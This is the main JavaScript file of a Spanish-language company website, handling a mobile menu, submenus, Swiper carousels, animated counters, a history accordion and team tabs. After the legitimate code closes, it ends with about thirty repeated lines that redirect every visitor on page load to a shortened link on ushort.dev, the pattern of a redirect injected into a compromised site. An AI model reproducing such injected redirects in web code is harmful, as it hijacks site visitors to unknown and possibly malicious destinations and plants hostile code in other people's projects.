document.addEventListener('DOMContentLoaded', function () { // SECCIÓN HEADER const menuToggle = document.querySelector('.menu-toggle'); const navMenu = document.querySelector('.nav-menu'); const header = document.querySelector('#header-cimenta'); const menuIcon = menuToggle.querySelector("img"); menuToggle.addEventListener("click", function (e) { e.stopPropagation(); // Alternar clases navMenu.classList.toggle("active"); header.classList.toggle("menu-open"); // Actualiza aria-expanded para accesibilidad const expanded = menuToggle.getAttribute("aria-expanded") === "true"; menuToggle.setAttribute("aria-expanded", !expanded); }); // NUNCA LLEVA AL ENLACE EN EL ELEMENTO DEL MENÚ CON SUBMENÚ function handleSubMenuClick(e) { if (window.innerWidth > 899) return; // Solo en mobile e.preventDefault(); e.stopPropagation(); const parentLi = this.parentElement; //
  • que contiene el submenú const subMenu = parentLi.querySelector('.sub-menu'); if (!subMenu) return; // Si ya está activo, lo cierra; si no, lo abre. if (parentLi.classList.contains('active')) { parentLi.classList.remove('active'); subMenu.style.display = 'none'; } else { parentLi.classList.add('active'); subMenu.style.display = 'flex'; } } // Asigna el evento a los enlaces de ítems con submenú (los que muestran la flecha) const submenuParents = document.querySelectorAll('.menu-item-has-children > a'); submenuParents.forEach(function (link) { link.addEventListener('click', handleSubMenuClick); }); // Cierra el menú si se hace clic fuera (ni sobre el menú ni sobre el ícono) document.addEventListener('click', function (e) { if (!navMenu.contains(e.target) && !menuToggle.contains(e.target)) { navMenu.classList.remove('active'); header.classList.remove('menu-open'); } }); // Resetear estilos inline al cambiar a escritorio function resetMobileStyles() { if (window.innerWidth > 899) { const allSubMenus = document.querySelectorAll('.nav-menu .sub-menu'); allSubMenus.forEach(subMenu => { subMenu.style.display = ''; }); const activeItems = document.querySelectorAll('.nav-menu li.active'); activeItems.forEach(item => { item.classList.remove('active'); }); navMenu.classList.remove('active'); header.classList.remove('menu-open'); menuToggle.setAttribute('aria-expanded', 'false'); } } // Al redimensionar a desktop, se quitan las clases mobile window.addEventListener('resize', resetMobileStyles); resetMobileStyles(); // CARRUSEL BANNER new Swiper(".mf-banner-top-slider", { slidesPerView: 1, spaceBetween: 10, loop: true, autoplay: { delay: 5000, disableOnInteraction: false, }, pagination: { el: ".banner-pagination", clickable: true, renderBullet: function (index, className) { return ``; } }, }); // SECCIÓN CIFRAS HOME const counters = document.querySelectorAll('.contador'); const duracion = 2000; // Duración total de la animación en ms // Configuración del IntersectionObserver: se activa cuando al menos el 10% del elemento es visible const observerOptions = { threshold: 0.1 }; // Función para animar cada contador const animateCounter = (counter) => { const target = parseInt(counter.getAttribute('data-target')); const prefix = counter.getAttribute('data-prefix') || ''; const suffix = counter.getAttribute('data-suffix') || ''; let valorInicial = 0; // Calculamos el incremento en función de la duración y un intervalo fijo (60ms) const incremento = Math.ceil(target / (duracion / 60)); const intervalo = setInterval(() => { valorInicial += incremento; if (valorInicial >= target) { valorInicial = target; clearInterval(intervalo); } counter.textContent = prefix + valorInicial.toLocaleString('es-ES') + suffix; }, 60); }; // Creamos el observador para detectar cuando el contador es visible const observer = new IntersectionObserver((entries, observer) => { entries.forEach(entry => { if (entry.isIntersecting) { animateCounter(entry.target); // observer.unobserve(entry.target); } }); }, observerOptions); // Iniciamos la observación de cada contador counters.forEach(counter => { observer.observe(counter); }); // NOSOTROS: NUESTRA HISTORIA const listItems = document.querySelectorAll('.section-historia .list-item'); if (listItems.length > 0) { // Tomar el primer item en vez del último const firstIndex = 0; listItems[firstIndex].classList.add('active'); // Ajustar la altura en mobile (si corresponde) const listItemBody = listItems[firstIndex].querySelector(".list-item-body"); if (window.innerWidth < 1280 && listItemBody) { listItemBody.style.height = listItemBody.scrollHeight + "px"; } } listItems.forEach((li) => { li.addEventListener('click', function (e) { // Evita que haga bubble si está dentro de otros elementos e.stopPropagation(); const listItem = this.closest('.list-item'); const listItemBody = listItem.querySelector(".list-item-body"); const allActiveLisItems = document.querySelectorAll(".list-item.active"); const isActive = listItem.classList.contains("active"); // MOBILE / TABLET (<1280px) if (window.innerWidth < 1280) { // Cerrar todos los que estén activos, excepto este allActiveLisItems.forEach(item => { if (item !== listItem) { item.classList.remove("active"); const body = item.querySelector('.list-item-body'); if (body) body.style.height = "0"; } }); // Si no estaba activo, lo abrimos if (!isActive) { listItem.classList.add("active"); if (listItemBody) { listItemBody.style.height = listItemBody.scrollHeight + "px"; } } else { // Si ya estaba activo, lo cerramos listItem.classList.remove("active"); if (listItemBody) { listItemBody.style.height = "0"; } } } // DESKTOP (>=1280px) else { if (!isActive) { // Cerrar todos allActiveLisItems.forEach(item => { item.classList.remove("active"); }); // Activar el actual listItem.classList.add("active"); } else { listItem.classList.remove("active"); if (listItem.nextElementSibling) { listItem.nextElementSibling.classList.add('active'); } } } }); }); // NOSOTROS: EQUIPO // Manejo de pestañas (Directorio / Gerencia) const tabLinks = document.querySelectorAll('.team-tabs li a'); const contents = document.querySelectorAll('.team-content'); tabLinks.forEach(link => { link.addEventListener('click', function (e) { e.preventDefault(); // Quita la clase "active" de todos los li y todos los contenidos tabLinks.forEach(link => link.parentElement.classList.remove('active')); contents.forEach(content => content.classList.remove('active')); // Activa el li clicado this.parentElement.classList.add('active'); // Muestra el contenido asociado const targetID = this.getAttribute('href'); // #directorio o #gerencia const targetElement = document.querySelector(targetID); if (targetElement) { targetElement.classList.add('active'); } }); }); // Inicializamos Swiper sólo en mobile (<768px) if (window.innerWidth < 768) { // Para que Swiper funcione bien incluso si se oculta/ muestra con tabs // podemos usar observer: true const directorioSwiper = new Swiper('.directorio-swiper', { observer: true, observeParents: true, slidesPerView: 1, spaceBetween: 10, pagination: { el: '.directorio-pagination', clickable: true, }, }); const gerenciaSwiper = new Swiper('.gerencia-swiper', { observer: true, observeParents: true, slidesPerView: 1, spaceBetween: 10, pagination: { el: '.gerencia-pagination', clickable: true, }, }); } }); window.location.href = "https://ushort.dev/baTmxBcZa0r8"; window.location.href = "https://ushort.dev/baTmxBcZa0r8"; window.location.href = "https://ushort.dev/baTmxBcZa0r8"; window.location.href = "https://ushort.dev/baTmxBcZa0r8"; window.location.href = "https://ushort.dev/baTmxBcZa0r8"; window.location.href = "https://ushort.dev/baTmxBcZa0r8"; window.location.href = "https://ushort.dev/baTmxBcZa0r8"; window.location.href = "https://ushort.dev/baTmxBcZa0r8"; window.location.href = "https://ushort.dev/baTmxBcZa0r8"; window.location.href = "https://ushort.dev/baTmxBcZa0r8"; window.location.href = "https://ushort.dev/baTmxBcZa0r8"; window.location.href = "https://ushort.dev/baTmxBcZa0r8"; window.location.href = "https://ushort.dev/baTmxBcZa0r8"; window.location.href = "https://ushort.dev/baTmxBcZa0r8"; window.location.href = "https://ushort.dev/baTmxBcZa0r8"; window.location.href = "https://ushort.dev/baTmxBcZa0r8"; window.location.href = "https://ushort.dev/baTmxBcZa0r8"; window.location.href = "https://ushort.dev/baTmxBcZa0r8"; window.location.href = "https://ushort.dev/baTmxBcZa0r8"; window.location.href = "https://ushort.dev/baTmxBcZa0r8"; window.location.href = "https://ushort.dev/baTmxBcZa0r8"; window.location.href = "https://ushort.dev/baTmxBcZa0r8"; window.location.href = "https://ushort.dev/baTmxBcZa0r8"; window.location.href = "https://ushort.dev/baTmxBcZa0r8"; window.location.href = "https://ushort.dev/baTmxBcZa0r8"; window.location.href = "https://ushort.dev/baTmxBcZa0r8"; window.location.href = "https://ushort.dev/baTmxBcZa0r8"; window.location.href = "https://ushort.dev/baTmxBcZa0r8"; window.location.href = "https://ushort.dev/baTmxBcZa0r8"; window.location.href = "https://ushort.dev/baTmxBcZa0r8";